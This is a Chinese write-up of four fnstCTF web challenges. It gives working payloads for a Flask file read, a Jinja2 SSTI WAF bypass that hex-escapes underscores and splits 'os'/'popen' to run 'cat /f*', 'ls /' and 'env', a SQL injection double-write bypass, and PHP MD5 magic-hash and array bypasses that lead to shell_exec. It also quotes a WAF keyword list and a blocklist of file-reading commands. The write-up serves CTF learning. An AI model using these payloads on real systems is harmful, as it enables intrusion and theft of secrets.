fnstCTF 题解
字数 1373 2025-08-22 12:22:15
fnstCTF 题解教学文档
前言
本文档基于fnstCTF比赛中的几道典型题目,详细解析解题思路和方法,涵盖Python文件读取、SSTI绕过、SQL注入和PHP特性利用等技术点。
1. ez_python题目解析
题目描述
通过GET参数读取文件内容,目标是获取flag。
解题步骤
-
初始尝试:
- 使用
file参数尝试读取文件:?file=flag - 尝试读取环境变量失败
- 使用
-
源码读取:
- 读取Python应用源码:
?file=app.py - 获取到Flask应用源码:
- 读取Python应用源码:
from flask import Flask, request, render_template_string
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import waf
app = Flask(__name__)
limiter = Limiter(get_remote_address, app=app, default_limits=["300 per day", "75 per hour"])
@app.route('/')
@limiter.exempt
def index():
file_path = request.args.get('file')
if file_path and "proc" in file_path:
return "只过滤了proc,别想用这个了,去读源码", 200
if file_path:
try:
with open(file_path, 'r') as file:
file_content = file.read()
return f"{file_content}"
except Exception as e:
return f"Error reading file: {e}"
return "Find the get parameter to read something"
@app.route('/shell')
@limiter.limit("10 per minute")
def shell():
if request.args.get('name'):
person = request.args.get('name')
if not waf.waf_check(person):
mistake = "Something is banned"
return mistake
template = 'Hi, %s' % person
return render_template_string(template)
some = 'who you are ?'
return render_template_string(some)
@app.errorhandler(429)
def ratelimit_error(e):
return "工具? 毫无意义,去手搓", 429
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
- WAF分析:
- 查看
waf.py中的过滤规则:
- 查看
def waf_check(value):
dangerous_patterns = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__']
for pattern in dangerous_patterns:
if pattern in value:
return False
return True
- SSTI绕过:
- 使用字符串拼接和十六进制编码绕过WAF
- 读取flag的payload:
{% print(lipsum["\x5f\x5fglobals\x5f\x5f"][%27o%27%27s%27][%27pope%27%27n%27](%27cat /f*%27)[%27read%27]())%}
2. 三千零一夜(SQL注入)
解题步骤
-
注入点发现:
- 使用单引号测试:
',发现需要双写绕过
- 使用单引号测试:
-
确定回显位:
- 确认回显位为1
-
数据库信息获取:
- 查询当前数据库:
flaginit - 查询表名:
fflllaaaagggg和trueflag
- 查询当前数据库:
-
绕过技巧:
=被过滤,使用like(但like也被过滤)- 使用双写绕过过滤
3. comment_me(SSTI绕过)
解题步骤
-
初始探测:
- 扫描目录无果
- 抓包修改参数测试漏洞
-
SSTI确认:
- 确认存在SSTI漏洞
- 发现只有点(.)被过滤
-
payload构造:
- 使用上一题的payload进行攻击
- 查看flag位置:
{% print(lipsum["\x5f\x5fglobals\x5f\x5f"][%27o%27%27s%27][%27pope%27%27n%27](%27ls /%27)[%27read%27]())%}
-
权限检查:
- 执行
whoami查看当前用户权限 - 发现需要提权
- 执行
-
环境变量读取:
- 通过环境变量获取flag:
h2=2&p={% print(lipsum["\x5f\x5fglobals\x5f\x5f"][%27o%27%27s%27][%27pope%27%27n%27](%27env%27)[%27read%27]())%}
4. ez_php(PHP特性利用)
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['usn']) && isset($_POST['pwd']) && isset($_GET['usn1']) && isset($_POST['pwd1'])){
$usn = $_GET['usn'];
$usn1 = $_GET['usn1'];
$pwd = $_POST['pwd'];
$pwd1 = $_POST['pwd1'];
if($usn != $pwd && md5($usn) == md5($pwd)){
if($usn1 !== $pwd1 && md5($usn1) === md5($pwd1)){
$sign = isset($_GET['sign']) && !empty($_GET['sign']) ? $_GET['sign'] : '';
$forbidden_commands = ['cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'read'];
$sign_lower = strtolower($sign);
foreach($forbidden_commands as $forbidden){
if(strpos($sign_lower, $forbidden) !== false){
die('lol');
}
}
if(empty($sign)){
die('lol');
}
try{
$output = shell_exec(escapeshellcmd($sign));
echo "<pre>$output</pre>";
}catch(ValueError $e){
echo "lol";
}
}else{
echo "lol";
}
}else{
echo "lol";
}
}else{
echo 'lol';
}
?>
解题步骤
-
第一层绕过:
- 条件:
$usn != $pwd && md5($usn) == md5($pwd) - 利用PHP弱类型比较:
- 使用0e开头的MD5值(如
240610708和QNKCDZO) - 或使用数组绕过(
usn[]=1&pwd[]=2)
- 使用0e开头的MD5值(如
- 条件:
-
第二层绕过:
- 条件:
$usn1 !== $pwd1 && md5($usn1) === md5($pwd1) - 使用数组绕过MD5强比较:
usn1[]=1&pwd1[]=2
- 条件:
-
命令执行绕过:
- 过滤的命令:
cat,tac,nl,more,less,head,tail,read - 替代方案:
- 使用
ls查看目录 - 使用
env查看环境变量获取flag
- 使用
- 过滤的命令:
-
最终payload:
- GET参数:
usn=240610708&usn1[]=1&sign=env - POST参数:
pwd=QNKCDZO&pwd1[]=2
- GET参数:
总结
-
文件读取:
- 在CTF中,当发现文件读取功能时,优先尝试读取应用源码
- 注意过滤规则,尝试绕过(如
proc被过滤)
-
SSTI绕过:
- 分析WAF过滤规则
- 使用字符串拼接、十六进制编码等方式绕过关键字过滤
- 利用环境变量可能是获取flag的捷径
-
SQL注入:
- 注意过滤规则,使用双写等技术绕过
- 当常用操作符被过滤时,寻找替代方案
-
PHP特性利用:
- 掌握PHP弱类型比较特性
- 了解MD5碰撞和数组绕过技巧
- 命令执行时,寻找过滤命令的替代方案
-
通用技巧:
- 环境变量检查(
env) - 当前用户权限检查(
whoami) - 目录结构检查(
ls)
- 环境变量检查(